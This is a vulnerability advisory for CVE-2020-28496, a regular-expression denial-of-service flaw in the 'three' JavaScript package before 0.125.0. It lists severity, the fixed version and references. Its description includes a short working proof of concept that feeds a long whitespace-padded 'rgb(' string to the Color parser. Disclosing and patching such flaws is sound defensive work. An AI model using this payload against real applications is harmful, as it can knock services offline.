CVE-2020-28496: Regular Expression Denial of Service (ReDoS)

Severity: high (CVSS 7.5 v3.1)
Exploited in the wild: not listed in CISA KEV
EPSS: 2.5% probability of exploitation in the next 30 days
Public exploit or detection template: yes
Published: 2021-02-18 · updated 2026-06-17
Weakness: CWE-400

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Affected products

three: before 0.125.0 — fixed in 0.125.0

How to fix

Upgrade to a fixed version: three 0.125.0. Check the vendor advisory for mitigations.

References

https://github.com/mrdoob/three.js/issues/21132
https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972
https://snyk.io/vuln/SNYK-JS-THREE-1064931
https://github.com/mrdoob/three.js/issues/21132
https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972
https://snyk.io/vuln/SNYK-JS-THREE-1064931

Get alerted when CVE-2020-28496 or the next vulnerability affects your stack